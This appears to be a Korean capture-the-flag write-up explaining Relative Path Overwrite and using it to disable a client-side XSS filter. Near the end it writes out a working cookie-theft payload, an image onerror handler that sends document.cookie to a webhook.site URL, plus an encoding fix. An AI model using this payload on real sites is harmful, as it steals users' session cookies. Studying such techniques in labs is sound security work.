개념정리
○ Relative Path Overwrite(RPO)
서버와 클라이언트가 경로를 해석하는 차이를 이용한 취약점이다.
다음 예제를 보자.
1. 절대 경로
<script src="/app/main.js"></script>
2. 상대경로
<script src="app/main.js"></script>
2가지 태그의 차이점은 경로 생성방식이다.
만약, rpo.php
라는 페이지가 있다고 가정하자.
<script>
태그를 작성하고 http://host/rpo.php
와 같이 요청하면 같은 경로에 존재하는 http://host/main.js
를 로드한다.
이때, 공격자가 http://host/rpo.php/
와 같이 요청하다고 해보자.
절대 경로 script 태그는 http://host/rpo.php/main.js
를 로드한다. 하지만 상대 경로 script 태그는 /rpo.php/
를 베이스로 경로를 생성하고 탐색하므로 http://host/rpo.php/app/main.js
를 로드한다.
이런 식으로 서버와 클라이언트가 경로를 해석하는 차이점을 이용해서 개발자가 의도하지 않은 경로를 요청하도록하는 취약점이 Relative Path Overwrite이다.
RPO 취약점은 XSS나 CSS injection과 같은 클라이언트 사이드 취약점과 연계할 수 있어서 위험한 취약점이다.
문제풀이
<script src="filter.js"></script>
<pre id=param></pre><script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js
를 상대경로로 지정했다. 따라서 RPO 취약점이 발생 가능한 상황이다.
다음과 같이 경로를 요청하면
/index.php/
<script> src
가 로드되는 과정에서 /index.php/filter.js
와 같이 잘못된 경로로 filter.js
를 요청하게된다.
따라서 오류가 발생하고 filter.js
가 로드되지않는다.
→ 즉, XSS 가능
<img src="123" onerror="location.href='https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?'+document.cookie">
<img src="123" onerror="alert(12)">
위와 같이 쿠키를 탈취하는 payload를 작성했다.
/index.php/?page=vuln¶m=<img src="123" onerror="location.href=' https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?'+document.cookie ">
payload를 전송해보자.
결과는 실패다.
/index.php/?page=vuln¶m=<img src="123" onerror="location.href=' https://webhook.site/28171f88-81f0-4864-9dca-1c54ddb49ad5?'%2bdocument.cookie ">
실패한 이유는 param으로 전송하고 리다이렉트할 때, +가 url 디코딩되면서 공백이 되버리기 때문이다. 따라서 +를 %2b로 url 인코딩해서 전송해야한다.